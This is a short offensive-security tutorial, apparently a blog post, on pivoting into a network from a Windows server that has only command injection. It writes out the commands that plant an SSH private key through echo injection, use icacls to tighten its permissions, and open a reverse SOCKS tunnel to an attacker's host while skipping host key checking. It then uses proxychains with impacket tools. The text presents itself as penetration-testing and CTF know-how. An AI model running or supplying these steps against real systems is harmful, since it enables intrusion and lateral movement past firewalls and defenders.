Reverse ssh socks proxy from non-interactive shell

Sometimes a situation may arise(in engagements, CTFs, hacking labs) where you have command injection on a server but for some reason you cannot place a C&C beacon(server has multiple AVs and no time to research all of them, AppLocker, no powershell, etc). Some of you might argue that such a scenario is pure fantasy as you, once being able to inject commands, will always elevate to NT Authority/SYSTEM having your Cobalt beacon up and running and also install a Lineage server, all this without triggering any alarms for the Blue Team.

The partially compromised server may act as a gateway to the kingdom enabling you to bring the heavy cavalry through a socks proxy.

For the sake of this exercise we assume the firewall is poorly configured allowing ssh access to lets say Azure hosts (which is pretty common).

SSH Client is installed by default on Windows 2019 Servers and Windows 10 machines. SSH is a very powerful and legitimate tool allowing all kinds on network wizardry. But to use it non-interactively, some obstacles must be overcome.

One such obstacle is the annoying question about the authenticity of the new host you are trying to connect to and as you remember, we have no way of answering the question as we do not have interactive shell.

But ssh has an option for that, “StrictHostKeyChecking” and will do exactly that, it will ignore the authenticity checking and it will never ask you that little annoying question.

The other problem is the password itself. SSH will ask for the password but, being non interactive, you cannot enter it. Luckily ssh can be used without a password using cryptographic keys.

But one cannot simply drop a private key on the compromised host and dream of working just like that. The SSH client will complain about the privileges of your new key and refuse to load it.

But fear not as windows has the built-in command-line utility, “icacls”, that can be used to fix the ssh key permissions.

First thing you need a short public/private cryptographic key pair(you don’t want to copy paste too much). I used the ecdsa algorithm for the job.

ssh-keygen -t ecdsa -b 256

Make sure you use a disposable attacking machine as this might be compromised by the blue team. Use a random username and copy the public key into the ~/.ssh/authorized_keys section to allow the compromised host to connect to you via ssh.

Take note of the user’s SID as you will need it later on

whoami /all

Next we should transfer the private key to the compromised server. Our generated key looks like this:

We can slowly transfer it one line at a time using

cmd /c echo -----BEGIN OPENSSH PRIVATE KEY-----> C:\Windows\temp\a
cmd /c echo b3B............................zYS>> C:\Windows\temp\a
.
.
cmd /c echo -----END OPENSSH PRIVATE KEY----->> C:\Windows\temp\a

The private key was transferred successfully but the permissions are to lax for the ssh client liking.

cmd /c icacls C:\Windows\Temp\a

We remove all inheritance permissions and add only our compromised user with full access rights.

icacls C:\Windows\Temp\a /inheritance:r
icacls C:\Windows\Temp\a /grant *S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415:(F)

A double check will show us the new permissions

cmd /c icacls C:\Windows\Temp\a

Finally we are ready to for the SSH command

ssh -o StrictHostKeyChecking=no -i C:\Windows\Temp\a -N -f -R 9050 [email protected]

On our attacking machine we notice that ssh is listening on 9050 port

You can now use “proxychains” to proxy your favorite tool:

proxychains impacket-getTGT ...............